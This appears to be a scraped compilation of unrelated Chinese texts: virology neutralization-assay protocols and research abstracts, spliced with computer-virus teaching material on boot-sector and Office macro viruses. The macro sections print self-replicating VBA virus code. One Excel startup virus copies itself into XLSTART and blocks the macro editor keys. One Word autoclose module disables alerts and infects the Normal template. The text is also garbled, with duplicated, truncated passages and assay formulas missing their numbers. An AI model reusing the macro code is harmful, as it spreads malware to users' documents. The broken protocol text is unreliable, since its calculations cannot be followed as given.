2020年病毒中和试验测定法.doc
病毒中和试验测定法
1.固定病毒稀释血清法(α法) 本法用于抗血清的中和价。试验需先滴定病毒毒价，试验时将其稀释成每一单位剂量含200个TCID50，再将待检血清倍比稀释加等量200个TCID50/ml的病毒液，混匀后37℃1h，每一稀释度接种24孔细胞培养板4孔，每孔0.2ml。5%C02培养箱培养一定时间后，记录出现CPE孔数，以不出现CPE数和接种数的比为中和比值。按Karber法计算中和价。其公式如下：
Log TCID50=L+d（S-0.5）
（TCID50用对数计算，L为病毒最低稀释度的对数。d为组距，即稀释系数，在10倍系列稀释则为-1，S为各组CPE与接种数比值之和）
50%中和试验举例
L=-1，d=-0.3，S=4/4+4/4+4/4+4/4+2/4=4.5
代入Karber公式：LogND50= -1－0.3*(4.5-0.5)=2.2
该抗血清ND50(半数中和单位)为10-2.2，即1/160，则其中和价为160 ND50/ml，可以简写成160。
2.固定血清稀释病毒法(β法) 本法用于测定抗血清的中和指数。将病毒原液10倍系列稀释，分列于2排无菌管，第一排加等量正常血清（对照组）；第二排加待检血清（中和组），混匀后，置37℃1h，分别接种细胞板孔（或鸡胚、实验动物）进行培养，记录CPE（鸡胚、动物死亡数），计算TCID50（或LD50），按下式计算中和指数。
中和组TCID50（或LD50）
中和指数= ————————————
对照组TCID50（或LD50）
查反对数，即得该待检血清的中和指数。通常中和指数>50者判为阳性，10-49为可疑，<10者为阴性。例如：
对照组滴度的LD50=10-6.5
中和组滴度的LD50=10-4.5
中和指数=10(6.5-4.5)=102.0=100
中和指数的对数Log=Log100=2.0
一般来说，以10倍稀释进行滴度测定，Log10=1。因此小于10（1
宏病毒原理及防范
宏病毒原理及防范 一、常见宏病毒 1．startup宏病毒 宏病毒其实并不神秘，其工作原理是借用宏表4.0的auto_open事件启动病毒代码的复制和病毒文件的新建，新建的文件常放在xlsrt文件夹下。然后利用xlstart文件夹文件可以自动启动的原理把病毒代码复制到新打开的excel文件中。下面先看看startup宏病毒代码吧，注意红字部分。 Sub auto_open() On Error Resume Next If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then Application.ScreenUpdating = False ThisWorkbook.Sheets("StartUp").Copy ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls") n$ = https://www.docsj.com/doc/5313529495.html, ActiveWindow.Visible = False Workbooks("StartUp.xls").Save Workbooks(n$).Close (False) End If Application.OnSheetActivate = "StartUp.xls!cop" Application.OnKey "%{F11}", "StartUp.xls!escape" Application.OnKey "%{F8}", "StartUp.xls!escape" End Sub Sub cop() On Error Resume Next If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then Application.ScreenUpdating = False n$ = https://www.docsj.com/doc/5313529495.html, Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1) Sheets(n$).Select End If End Sub 2．book1病毒 book1病毒最明显的标志是打开excel时自动跳出一个book1空文件。这种病毒和startup病毒工作原理相似，但启动方式不太一样，该病毒会在excel文件中添加和复制一个宏表，利用宏表4。0程序的auto_open事件启动宏表中的宏代码，进行代码复制，病毒文件创建。打开中了book1病毒文件，在插入-名称里会出现很多陌生的定义名称，这些都是病毒启动名称。 二、病毒专杀 1．手工专杀 strartup.xls病毒。首先把宏的安全性设置为最高级，禁止所有宏运行。然后在电脑中搜索xlstart文件夹，找到后把该文件夹中的strartup.xls文件
检测乙型脑炎病毒中和抗体的简化试验
检测乙型脑炎病毒中和抗体的简化试验 摘要：在亚洲，乙型脑炎病毒是病毒性脑炎的常见病因，据统计，每年大约有45000例病例。它导致显着的发病率和死亡率。乙型脑炎病毒主要通过库蚊在鸟类和动物之间传播，而人类被认为是其终末宿主。由于登革热在乙型脑炎流行地区也很普遍，因此必须通过检测乙型脑炎病毒特异性中和抗体来证实乙型脑炎阳性血清。噬斑减少中和试验是检测以及量化乙型脑炎病毒中和抗体的黄金标准。然而，噬斑减少中和试验大约需要一个星期，并且在在6个或24孔板中进行，这对于大规模筛选具有局限性。因此有必要开发一种可用于检测和定量乙型脑炎病毒中和抗体的简化方案。该法在96孔板中进行，将适合用于大规模筛查人群的免疫水平以及疫苗的免疫效力研究。 关键词：乙型脑炎病毒；中和抗体；酶联免疫 引言 在亚洲，主要由节肢动物传播的乙型脑炎病毒是病毒性脑炎的常见病原。据统计，每年大约有45000个病例，死亡率为25%;并且有高达50％的患者留有神经系统后遗症（世界卫生组织，1996年）。 乙型脑炎病毒为RNA正链病毒，属于黄病毒科。病毒发生表现有地方性周期性特点，库蚊和猪为其主要的宿主，病毒在其体内大量复制。然而，人类被认为是其终末宿主。（Sabchareon和Yoksan，1998） 在亚洲许多地方乙型脑炎病毒都有流行，往往在这些地方都伴随有登革热病毒流行。因此，为了与登革热区分，就必须通过检测乙型脑炎病毒特异性中和抗体来证实其确为乙型脑炎病毒阳性血清。此外，检测中和抗体也可作为检测乙型脑炎疫苗效力的合理的替代措施。（Markofff L.，2000）。“斑减少中和试验是检测和量化乙型脑炎病毒中和抗体的标准方法（Shyu等.1997）。然而，斑减少中和试验需要一周才能完成并且仅在6或24孔板中进行，从而对于大规模的筛选表现出一定的局限性，在疫苗的效力学研究以及血清流行病学调查方面其局限性表现得更加突出。结果通过肉眼计数斑块的数量来获得，而这，也有一定的主观偏差。一种简便有效的检测和测定与病毒或疫苗反应后的中和抗体含量的方法显得尤为重要。 已经研究出了几种方法来改善蚀斑减少中和试验。在微焦点减少中和试验（Jirakanjanakit等，1997）和荧光灶抑制试验（Thacker等，1978），聚焦灶可分别通过过氧化物酶以及抗过氧化物酶荧光染色技术看到。然而，与噬斑减少中和试验相似，聚焦灶也必须人工计数。另一组通过竞争ELISA来检测乙型脑炎病毒的特异性抗体（Chow等，1997）。该法用三种单克隆抗体与测试血清竞争性结合包被在微滴度板上的乙型脑炎抗原。此法虽然能够区分登革热抗体与日本脑炎病毒中和抗体，但不能检测所有类型的乙型脑炎病毒中和抗体。 为了解决上述缺点，经过多次改进研究出了一种简捷的方法，中和酶联免疫法，这种方法在其他病毒如麻疹（Lee等，1999）的检测中已经得到了应用。 方案如下：Vero细胞购自美国模式培养物保藏中心（ATCC编号：CRL-1586，Vero细胞-1008）。乙型脑炎病毒（中山株）由陈佑昌教授提供。（新加坡国立大学）。细胞培养在199培养基（Gibco公司），加入0.042％的钠碳酸氢钠（Merck）和2mM HEPES（Gibco公司）并添加8％胎牛血清（Hyclone公司）。 维持液由1X的199培养基，0.028％碳酸氢钠和2mM HEPES并添加2％胎牛血清（FCS）配置成。所用的血清在新加坡一个离岸的岛屿上从26头野生的猪体内取样获得。本次试验进行了重复。
引导型病毒的机理和解析
引导型病毒的机理和解析
引导型计算机病毒的机理和解析 摘要：引导型病毒是什么，其技术发展，优缺点，特点以及来源，引导型病毒的机制，解析源于DOS高级版本以及Windows 9X的新型引导型病毒的结构，并提出引导型病毒的检测和防治方法。 关键词：引导区硬盘内存新型引导型病毒病毒结构防治 计算机病毒是指在计算机程序中插入的破坏计算机功能或数据，影响计算机使用并且能够自我复制的一组计算机指令或程序代码。计算机病毒具有3个基本特性：感染性、潜伏性和表现性。换句话来说计算机病毒是人为的特制程序或指令程序，具有自我复制能力，并有一定的潜伏性、特定的触发性和很大的破坏性。 计算机病毒的种类繁多，按感染方式分为：引导型病毒、文件感染病毒和混合型病毒。引导型病毒感染硬盘主引导扇区或引导扇区以及软盘的引导扇区，如大麻、火炬、BREAK等病毒。 1 引导型病毒 1.1 简介 引导型病毒寄生在主引导区、引导区，病毒利用操作系统的引导模块放在某个固定的位置，并且控制权的转交方式是以物理位置为依
据，而不是以引导型病毒寄生在主引导区、引导区，病毒利用操作系统的引导模块放在某个固定的位置，并且控制权的转交方式是以物理位置为依据，而不是以操作系统引导区的内容为依据，因而病毒占据该物理位置即可获得控制权，而将真正的引导区内容搬家转移，待病毒程序执行后，将控制权交给真正的引导区内容，使得这个带病毒的系统看似正常运转，而病毒已隐藏在系统中并伺机传染、发作。 引导型病毒进入系统，一定要通过启动过程。在无病毒环境下使用的软盘或硬盘，即使它已感染引导区病毒，也不会进入系统并进行传染，但是，只要用感染引导区病毒的磁盘引导系统，就会使病毒程序进入内存，形成病毒环境。 1.2 计算机启动过程 在分析引导型病毒之前，必须清楚正常的系统启动过程。上电或复位后，ROM_BIOS的初始化程序完成相应的硬件诊断，并设置
狂犬病病毒实验室检测方法
狂犬病病毒实验室检测方法 摘要：狂犬病（Rabies）是一种重要的人兽共患传染病，由狂犬病病毒（Rabies virus，RV）感染温血动物和人后引起，近年来又有感染上升的趋势。一种准确、灵敏、快速的实验室检测诊断方法就显得极为重要。现就酶联免疫吸附试验（ELISA）、荧光抗体方法（FAT）、快速荧光抑制灶技术（RFFIT）、反转录－聚合酶链反应（RT-PCR）、荧光定量RT-PCR，基因芯片技术和恒温扩增技术等狂犬病病毒实验室诊断方法做一综述。 关键词：狂犬病狂犬病病毒检测方法 狂犬病（Rabies）是一种重要的人兽共患传染病，由狂犬病病毒（Rabies virus，RV）感染温血动物和人后引起，以恐水、畏光、吞咽困难、狂躁、急性致死性脑脊髓炎，进行性麻痹和最终死亡为主要临床特征。RV可感染多种温血动物引起死亡，表现为高度嗜神经性。脑组织感染RV后遭到破坏，使得狂犬病感染的病死率几乎100%。 据WHO数据显示狂犬病在全世界150个国家和地区出现过狂犬病病例。尽管狂犬病可以通过疫苗免疫进行预防，全世界每年仍有超过5.5 万人死于该病，主要集中在亚、非、拉等发展中国家[1]。中国狂犬病疫情较严重，居世界第2位[2~3]，近年来，狂犬病疫情呈现回升的趋势[4]。检测狂犬病抗原抗体、分析狂犬病的流行特点，并建立高效、快速、可靠的实验室检测方法可以有效控制此病的流行。下面主要针对RV的形态特征和分子结构及主要的检测技术进行概述。1、狂犬病病毒形态特征 RV属于弹状病毒科（Rhabdoviridae）狂犬病病毒属（Lyssavirus）血清/基因1 型，单股负链RNA病毒。电镜下观察病毒粒子直径为70～80nm，长160～240nm，一端钝圆，另一端平凹，整体呈子弹状[5]。病毒有双层脂质外膜，其外面镶嵌有1072-1900个8-10nm长的纤突(spike)，为糖蛋白，每个糖蛋白呈同源三聚体形式，电镜还显示了糖蛋白具有“头”和“茎”结构。病毒双层脂质包膜的内侧主要是膜蛋白，亦称基质蛋白(Matrix，简称M)，是狂犬病毒的最小结构
中和试验方法操作规程
中和试验方法操作规程 1.目的：建立中合实验法，统一操作标准，确保产品质量。 2.适用范围：公司生物制品效价测定的中合实验。 3.责任：质检人员有按此程序进行操作的责任，质量管理部经理有检查监督的责任。 4.程序： 4.1：实验前准备 ①、9-10日龄的SPF鸡胚、病毒。 ②、样品稀释管、病毒稀释管、打孔器、镊子、5ml吸头、1ml、200ul吸头各一盒、废弃物缸、烧杯，以上物品均需灭菌处理 ③、照蛋器、电炉、旋涡混合器、5ml微量移液器、1ml微量移液器、200ul微量移液器、记号笔、酒精棉球、碘棉、打火机、蜡、玻璃棒、无菌手套 ④、实验开始前记得要使房间温度达到30摄氏度左右，房间要紫外照射30min，生物安全柜紫外照射30min准备要用的检测用品同步放在生物安全柜里紫外照射。 4.2：稀释 ①、将样品用生理盐水2倍系列稀释，使之成1:2;1:4;1:8;1:1;,1:32;1:64;1:128;1:256；1:512；1:1024......。 ②、病毒的稀释：将病毒稀释成每单位剂量含200ELD50.。例如：病毒ELD50=10-8.375/0.1ml,将病毒稀释成每单位剂量含200ELD50的稀释倍数=108.375/200=1.2*106。即将病毒稀释 1.2*106倍即为200ELD50/0.1ml。 ③、准备七根试管（或EP管），编号1-7，在1号管中加入 0.2ml灭菌生理盐水，2-7号管中各加入9ml 灭菌生理盐水.再将ELD50=108.375/0.1ml 的病毒取1ml加入1号管中震荡混匀，再从1号管中取1ml加入2号管中震荡混匀,依次10倍系列稀释至第7管。(依据最后接种量和接种鸡胚数计算出中和抗体用病毒的量,7号管可以多稀释几支备用。) 4.3：中和:将稀释成每单位剂量含200 ELD50的病毒与等量的2倍系列稀释的待检样品混合,37度中和1小时,准备接种鸡胚。
引导型病毒的机理和解析
引导型计算机病毒的机理和解析 摘要：引导型病毒是什么，其技术发展，优缺点，特点以及来源，引导型病毒的机制，解析源于DOS高级版本以及Windows 9X的新型引导型病毒的结构，并提出引导型病毒的检测和防治方法。 关键词：引导区硬盘内存新型引导型病毒病毒结构防治 计算机病毒是指在计算机程序中插入的破坏计算机功能或数据，影响计算机使用并且能够自我复制的一组计算机指令或程序代码。计算机病毒具有3个基本特性：感染性、潜伏性和表现性。换句话来说计算机病毒是人为的特制程序或指令程序，具有自我复制能力，并有一定的潜伏性、特定的触发性和很大的破坏性。 计算机病毒的种类繁多，按感染方式分为：引导型病毒、文件感染病毒和混合型病毒。引导型病毒感染硬盘主引导扇区或引导扇区以及软盘的引导扇区，如大麻、火炬、BREAK等病毒。 1 引导型病毒 1.1 简介 引导型病毒寄生在主引导区、引导区，病毒利用操作系统的引导模块放在某个固定的位置，并且控制权的转交方式是以物理位置为依据，而不是以引导型病毒寄生在主引导区、引导区，病毒利用操作系统的引导模块放在某个固定的位置，并且控制权的转交方式是以物理位置为依据，而不是以操作系统引导区的内容为依据，因而病毒占
据该物理位置即可获得控制权，而将真正的引导区内容搬家转移，待病毒程序执行后，将控制权交给真正的引导区内容，使得这个带病毒的系统看似正常运转，而病毒已隐藏在系统中并伺机传染、发作。 引导型病毒进入系统，一定要通过启动过程。在无病毒环境下使用的软盘或硬盘，即使它已感染引导区病毒，也不会进入系统并进行传染，但是，只要用感染引导区病毒的磁盘引导系统，就会使病毒程序进入内存，形成病毒环境。 1.2 计算机启动过程 在分析引导型病毒之前，必须清楚正常的系统启动过程。上电或复位后，ROM_BIOS的初始化程序完成相应的硬件诊断，并设置ROM_BIOS中断和参数，调用INT19H自举。注意ROM_BIOS初始化程序已设置了BIOS中断。 对于硬盘启动，自举程序将硬盘物理第1扇（主引导记录）读到内存首址为0:7C00的区域处，开始执行硬盘主引导区程序，找到激活分区，并将该分区首扇（引导区）也读到0:7C00处（自身下移），
第23讲病毒感染实验诊断
第23章病毒感染的实验诊断 一、教学大纲要求 （1）标本的采集、处理与运送注意事项 （2）病毒形态学检查方法 （3）病毒的分离与鉴定程序及方法 （4）病毒感染的快速诊断方法 二、教材内容精要 （一）标本的采集、处理与运送 根据临床诊断及病期采集不同的标本，用于病毒学分离和鉴定的标本应在病程初期或急性期采集，要进行预处理才能用于接种和其他方法的检测。病毒的抵抗力通常较弱，在室温下很快灭活，标本采集后应立即送到病毒实验室，暂时不能检查或分离培养时，应将标本放入冻存液并加入甘油或二甲基亚砜（DMSO）以防止反复冻溶使病毒灭活，存放在-70℃低温冰箱内保存。 （二）病毒形态学检查 1.光学显微镜 仅用于大病毒颗粒（如痘类病毒）和病毒包涵体的检查。 2.电子显微镜检查法 （1）电镜直接检查法 某些病毒感染的早期，临床标本中就可出现病毒颗粒。标本经粗提浓缩后用磷钨酸盐负染，电镜下直接观察，可发现病毒颗粒，获得诊断。 （2）免疫电镜检查法 将病毒标本制成悬液，加入特异性抗体、混匀，使标本中的病毒颗粒凝集成团，再用电镜观察，可提高病毒的检测率。本法比电镜直接检查法更特异，更敏感。 3.超过滤法 用不同孔径的火棉胶滤膜过滤病毒悬液，将获得的滤液接种于组织细胞、实验动物或鸡胚，或用血凝试验来测定病毒是否通过滤膜，从而估计病毒的大小。 4.超速离心法 根据病毒大小的不同，其沉降速度也不同。可用超速离心法测得病毒的沉降系数（S），借以计算病毒的大小。 5.X线晶体衍射法 根据X线衍射图谱，用数学方式处理来研究病毒结构亚单位和分子结构等。但标本必须为结晶，
可用于无包膜病毒的研究。 （三）病毒的分离与鉴定 1.病毒分离培养 实验室分离培养病毒的方法主要有三种：动物接种、鸡胚接种和组织培养。根据细胞的来源、染色体特性和传代次数的不同，可分为：原代和次代细胞培养，二倍体细胞培养，传代细胞培养。 2.病毒在培养细胞中增殖的指标 （1）细胞病变效应（cytopathic effect，CPE）。 （2）红细胞吸附 （3）干扰现象 （4）细胞代谢的改变 3.新分离病毒的鉴定 （1）病毒核酸类型的测定用RNA酶及DNA酶可鉴定出病毒核酸的类型。另外，DNA病毒受5-氟尿嘧啶的抑制，而RNA病毒不受影响。用此方法亦可区分DNA与RNA病毒。 （2）理化性状的检测对脂溶剂的敏感性：有包膜的病毒（如正粘病毒、副粘病毒、逆转录病毒等）含有脂类，对乙醚、氯仿和胆盐等脂溶剂均敏感，经作用后病毒失去感染性，而无包膜的病毒对脂溶剂有抵抗。耐酸性试验：肠道病毒与鼻病毒均属于小RNA病毒科，均耐乙醚。但前者可耐pH3，而后者在pH3~5环境中很快被灭活，故可将两者相区别。 （3）血清学鉴定病毒型别的最后鉴定必须依靠血清学方法。将分离的病毒与已知的诊断血清作各种试验进行鉴定。 （四）病毒的血清学检测 血清学试验是诊断病毒感染和鉴定病毒的重要手段，也是研究病毒的主要方法之一。血清学试验的方法很多，最常用的如中和试验、补体结合试验、血凝及血凝抑制试验等。 1.中和试验 中和试验是病毒型特异性反应，是指应用特异性抗体中和病毒的致病性或感染性的试验。将病人血清与一定量的已知病毒混合，作用一定时间后，接种于实验动物、鸡胚或细胞培养中，观察病毒的致病作用是否被中和而不出现感染指标。以此判断病人血清中有无特异性抗体存在。本法特异性高，但操作比较复杂，费时。主要用于鉴定病毒；分析病毒抗原的性质；测定免疫血清的抗体效价和疫苗接种后的效果；测定病人血清中的抗体，用于诊断病毒性疾病。 2.补体结合试验 特异性病毒抗原和相应的抗体结合形成免疫复合物时能结合补体。本实验操作繁琐，特异性较
病毒中和抗体检测0001
病毒中和抗体检测 1.病毒TCID50检测 TCID50是指组织培养物（细胞）半数致死剂量。它有几个性质我们必须明白：1）它表示 的是计量，不是浓度；2）它是一个单位；3）它的值等于1,实际上问它的值等于多少是一个 没有意义的问题，就像问km的值等于多少一样，如果非要说岀的的值等于多少，那我们只能说 它的值在任何情况下都等于1。理解这三个性质对于理解TCID50非常重要，但是这三个性质经 常被误解，所以导致对TCID50的理解岀现偏差。 首先我们来看一下这个表示法的意思：病毒滴度为108.2TCID50/ml 。它表示的是每ml病 毒溶液里含有108.2个TCID50的病毒，这和氯化钠的浓度为 4.5mol/L表示每L溶液中含有4.5 个mol的氯化钠是一样的道理。经常可以听到人说我的病毒的TCID50是10xx。这个说法是不 科学的，应该说我这个溶液里含有10x.x个TCID50的病毒或者说我这个溶液的病毒滴度是 10xx TCID50/ml。也可以说病毒的TCID50效价是10-x.x。 TCID50=10A5.64/0.1ml。即：将病毒悬液作10A5.64稀释后，接种细胞0.1ml，可以使50% 的细胞产生CPE。（将病毒悬液作10A5.64稀释后，0.1ml中含1个TCID50，作其他一些实验时 （如中和试验），一般常用100TCID50/0.1ml 或者100TCID50/0.05ml ） 本方法的优缺点：①.优点：岀现阳性结果时间较短，且较明显；②.缺点：有时候，在用枪头吸岀细胞生长液时，容易岀现污染； 使用本方法时的注意事项：①.稀释病毒时，每做一个病毒稀释度都需要换枪头，减少浓度误差②.96孔板，每孔接种的细胞量：一般在此种测定病毒滴度的方法下，要将细胞密度适当调低，至少要比正常传代时低一些，否则细胞生长速度过快，未到7天则细胞岀现死亡対观察CPE不利.一般情况下，小塑料瓶（8-9ml液体为正常用量）,培养长慢单层后，消化细胞，加入6ml培养液，吹匀，吸岀其中的2ml,到另外的瓶子，在该瓶中加入14-16ml即可,如果不放心，可以用显微镜看一下，细胞数过多则补加培养液，少则补加剩余4ml的细胞悬液； 维持液，即病毒培养液，配方为：①.MEM+2%小牛血清+3%谷氨酰胺+1%双抗+NaHC03; ②.MEM+3%谷氨酰胺+1%双抗+NaHCO3;两种维持液的不同在于是否有FBS（小牛血清）.我个人曾经做过实验，在状态很好的细胞上接种病毒，分别使用两种不同的维持液，最终结果是一样的，没有什么不同，所以可以根据个人需要进行选择.另外，曾经请教过专门做中和实验的老师，他认为适当的FBS对细胞有保护作用，而且他说这是国外文献上的报道. 1 ）细胞准备 1.1检查培养瓶中的单层细胞，以5ml胰酶-EDTA轻微冲洗 1.2加入4—5ml胰酶—EDTA以覆盖单层细胞 1.3放平培养瓶，37 C 5% CO2培养箱中孵育10 —20min，直到细胞脱落 1.4加入5—10ml培养液，洗下细胞后移到离心管中 1.5 以PBS洗细胞两次（12000rpm, 5min ） 1.6以D-MEM重悬细胞，并用血球计数板计数 1.7以D-MEM将将细胞浓度调整到1 X10A5/ml --1.5 10A5/ml 1.8在微量培养板的各孔中加入100卩细胞,相当于？X10A4细胞/孔 1.9在37 T 5 % CO2培养箱中过夜培养（18 —22h ），用处于生长相刚达到完全融合的细胞进行病毒的滴定
中和试验
第十三章 中和试验（neutralization test） 学习要点： 毒价滴定； 终点法中和试验； 空斑减少试验。 病毒或毒素与相应的抗体结合，抗体中和了病毒或毒素，失去了对易感动物的致病力，这种试验称为中和试验。 一、简单定性中和试验——毒价滴定 主要用于鉴定病料中病毒及病毒的类型，亦可用于毒素的鉴定。试验方法：根据病毒的易感性选定试验动物（鸡胚或细胞）及接种途径。将动物分为对照组与实验组。试验组：取待检病料磨碎，加生理盐水稀释，加双抗，在冰箱中作用1h或经过滤器过滤，与已知的抗血清等量混合，置于37℃中作用1h后接种动物。对照组则用正常血清加入稀释病料，作用后，接种另一种动物。对照组动物发病死亡，而试验组动物不死，即证实病料中含有与已知抗血清相应的病毒。
二、终点法中和试验 1、固定血清稀释病毒法 将病毒用2倍递增稀释，分置二列试管：第一列加入正常血清（对照组）；第二列加入待检血清（试验组）。二列试管分别振荡均匀，置370C中作用1h，将各管混合液分别接种试管动物，每管用3-5只动物。接种后观察数目，并记录死亡数。观察结束后，计算起LD50及中和指数。
2、固定病毒稀释血清法 本法用以测定抗病毒的血清中和效价。将待检血清稀释，加等量已知毒价的病毒液，在试管内中和湖接种动物，观察动物发病及死亡情况，计算其只能中和效价。
三、空斑减少试验 在细胞培养时作中和试验可采用空斑减少法。一种能使细胞致病变的病毒，在细胞培养上生长后，因其致病变作用使细胞单层脱落，pH与无病变地方也不一样，该处与周围明显不同的、一个局限性的变性细胞区称为空斑。一个空斑可以当作一个病毒生长的集落，一个单位内空斑数多，病毒就多，故可测出病毒空斑形成单位。这样，加抗血清与不加抗血清的病毒空斑形成单位之差，就称为空斑减少试验。使空斑减少50%的血清西式度，就是该血清的中和价。
实验三 脚本病毒和宏病毒分析
实验三脚本病毒和宏病毒分析 一、实验目的 通过这项实验旨在使学生掌握Office下宏病毒的基本原理，主要包括它的传染机制、破坏机制以及怎样清除Office下的宏病毒。 二、实验环境 操作系统环境：Windows98/NT/2000/XP 编程环境：Office VBA 三、实验基础知识要求 Office VBA编程环境 四、实验任务 1．任务性质：验证性实验 2．任务描述：下面的示例中给出的是一个Word宏病毒的示例程序（只有传染模块），仔细阅读源程序，掌握Word宏病毒的传染过程。 3．任务步骤： （1）打开Word2000，新建一个文档名为“test”； （2）点击“工具－宏－宏”，在对话框“宏的位置”选择“test”，在宏名中输入“autoclose”，然后点击“创建”按钮； （3）在VBA编辑环境中输入示例程序中给出的代码，并保存，然后退出VBA； （4）点击“工具－宏－宏”，在对话框中点击“管理器”按钮，在管理器对话框中点击“宏方案项”标签；在宏方案项有效范围的“test.doc”中将“NewMacros”改名为“AOPEDMOK”； （5）点击“工具－宏－安全性”，在安全性对话框中的安全级标签中选择“低”，在可靠性来源标签中选择“信任对VB项目的访问”； （6）保存并关闭“test”文档； （7）新建一个文档test1，关闭后重新打开，观察test1是否被感染。 （8）清除此宏病毒，即要同时删除normal模板、所有活动模板、和染毒文件的autoclose 宏。 4．示例程序 Sub autoclose() ' autoclose Macro ' 宏在2005-8-26 由jingjd 创建 On Error Resume Next Application.DisplayAlerts = wdAlertsNone Application.EnableCancelKey = wdCancelDisabled Application.DisplayStatusBar = False 'Options.VirusProtection = False Options.SaveNormalPrompt = False Const VirusName = "AOPEDMOK" 'MsgBox ActiveDocument.VBProject.VBComponents.Item(2).Name 'MsgBox ActiveDocument.VBProject.VBComponents(2).Name Set Doc = ActiveDocument.VBProject.VBComponents Set Tmp = NormalTemplate.VBProject.VBComponents Const ExportSource = "E:\aopedmok.txt" For j = 1 To Doc.Count
人肠道病毒71型中和抗体检测方法的实验室评价
肠道病毒71型（Enterovirus 71，EV71）属于小 RNA 病毒科肠道病毒属，为危害程度仅次于脊髓灰质炎病毒的嗜神经性肠道病毒，可引起5岁以下儿童手足口病（Hand -foot -mouth disease ，HFMD ），少数 重症患者可并发严重的中枢神经系统疾病和肺部感 染，重症患儿病程进展迅速，预后差［1-4］ 。目前，HFMD 尚缺乏有效的预防措施和治疗方法，研制疫苗是控制HFMD 流行的重要手段。 中和效价是评价疫苗免疫原性的关键指标之一［5-8］，检测结果的准确性对疫苗研发和应用均具有重要意义。目前，EV71中和抗体检测方法多采用微量细胞病变法，该方法影响因素较多，且国内各实验室的应用时间尚短，为探讨和规范该测定方法，准确评价EV71疫苗毒株的免疫原性和保护能力，本实验对实验室内、实验室间以及不同毒株对EV71抗 基金项目：国家科技支撑项目（2008BAI69B01）资助项目. 作者单位：1中国药品生物制品检定所（北京100050）；2华兰生 物工程股份有限公司研发部（河南新乡453003）；3北京生物制品研究所（北京100024）；4北京科兴生物制品有限公司研发部（北京100085 ）；5中国医学科学院医学生物学研究所免疫室（昆明650118）.通讯作者：毛群颖，E -mail:maoqunying@https://www.docsj.com/doc/5313529495.html, *： 共享第一作者中国图书分类号R373.2R392-33文献标识码A 文章编号1004-5503（2010）08-0885-04 【实验技术】 人肠道病毒71型中和抗体检测方法的实验室评价 毛群颖1*何鹏1*于祥2李楠2郝春生3高强4董承红5梁争论1李凤翔1沈心亮3王军志1 【摘要】目的 对人肠道病毒71型（Enterovirus71，EV71）中和抗体检测方法进行实验室评价，为该方法的标准化提供 依据。方法5个实验室按照统一制定的EV71中和抗体检测操作细则（SOP ），应用A 、B 和C 基因型的10株EV71病毒株，分别测定10份人免疫球蛋白、20份健康成人血浆和15份EV71动物高效价免疫血清样品中EV71中和效价，检测实验室内、实验室间重复性及不同EV71病毒株对中和抗体检测的影响。结果相同实验室应用各病毒株重复测定中和效价的最大值与最小值（Max -Min ）倍数差均在4倍以内，3次重复试验结果间差异无统计学意义（P 值均＞0.05）；不同实验室应用相同病毒株检测结果的Max -Min 倍数差在4倍以内； 不同实验室应用不同病毒株检测结果为：A 型株与其他基因型病毒株中和效价的Max -Min 差在192倍以内，B3与C4亚型的病毒株中和效价的Max -Min 倍数差在64倍以内，C4亚型不同病毒株之间中和效价的Max -Min 倍数差在16倍以内。结论按统一SOP 操作后,EV71中和抗体检测方法应用相同毒株在实验室内和实验室间具有较好的重复性，而不同病毒株对中和效价的测定结果有较大影响。【关键词】肠道病毒A 型，人；手足口病；中和抗体；基因型 Laboratory Evaluation of Method for Determination of Neutralizing Antibody against Human Enterovirus 71 MAO Qun -ying △,HE Peng,YU Xiang,LI Nan,HAO Chun -sheng,GAO Qiang,DONG Cheng -hong,LIANG Zheng -lun,LI Feng -xiang,SHEN Xin -liang,WANG Jun -zhi （△National Institute for the Control of Pharmaceutical and Biological Products,Beijing 100050,China ）【Abstract 】 Objective To evaluate the method for determination of neutralizing antibody against human enterovirus 71 （EV71）in laboratory and provide a basis for standardization of the method.Methods The neutralizing antibody titers against EV71 in 10human immunoglobulin,20healthy adult plasma and 15high titer animal immune serum specimens were determined with 10EV71strains of genotypes A,B and C by 5laboratories according to the SOP for EV71neutralizing antibody,based on which the in －tra -and inter -reproducibility of the method as well as effect of various EV71strains on determination of neutralizing antibody were analyzed.Results The fold differences in maximum and minimum （Max -Min ）of determination results of neutralizing antibody titers with various EV71strains by the same laboratory were less than 4,and the results of 3repeat tests showed no significant difference （P >0.05）.The fold differences in determination results with the same EV71strain by various laboratories were also less than 4.The determination results with various EV71strains by various laboratories were as follows:the fold differences of the Max -Min of neu －tralizing antibody titers of EV71strain genotype A with other genotypes were not more than 192,while those of subtypes B3with C4were not more than 64,and those of subtype C4with other strains were not more than 16.Conclusion By operation according to the unitary SOP,the method for determination of neutralizing antibody against EV71showed satisfactory intra -and inter -reproducibility.However,various EV71strains showed significant effect on the determination result. 【Key words 】Enterovirus A,human;Hand -foot -mouth disease;Neutralizing antibody;Genotype
病毒中和试验测定法
病毒中和试验测定法 1.固定病毒稀释血清法(α法) 本法用于抗血清的中和价。试验需先滴定病毒 毒价，试验时将其稀释成每一单位剂量含200个TCID 50 ，再将待检血清倍比稀释 加等量200个TCID 50 /ml的病毒液，混匀后37℃1h，每一稀释度接种24孔细胞 培养板4孔，每孔。5%C0 2 培养箱培养一定时间后，记录出现CPE孔数，以不出现CPE数和接种数的比为中和比值。按Karber法计算中和价。其公式如下： Log TCID 50 =L+d（） （TCID50用对数计算，L为病毒最低稀释度的对数。d为组距，即稀释系数，在10倍系列稀释则为-1，S为各组CPE与接种数比值之和） 50%中和试验举例 每一接种剂量含病毒 100TCID50或 100LD50或100EID50或100ID50 L=-1，d=，S=4/4+4/4+4/4+4/4+2/4= 代入Karber公式：LogND 50= -1－* 该抗血清ND 50 (半数中和单位)为，即1/160， 则其中和价为160 ND 50 /ml，可以简写成160。 2.固定血清稀释病毒法(β法) 本法用于测定抗血清的中和指数。将病毒原液10倍系列稀释，分列于2排无菌管，第一排加等量正常血清（对照组）；第二排加待检血清（中和组），混匀后，置37℃1h，分别接种细胞板孔（或鸡胚、实验 动物）进行培养，记录CPE（鸡胚、动物死亡数），计算TCID 50（或LD 50 ），按下 式计算中和指数。 中和组TCID 50（或LD 50 ） 中和指数= ———————————— 对照组TCID 50（或LD 50 ） 查反对数，即得该待检血清的中和指数。通常中和指数>50者判为阳性，
计算机病毒原理及防范技术(精简版)
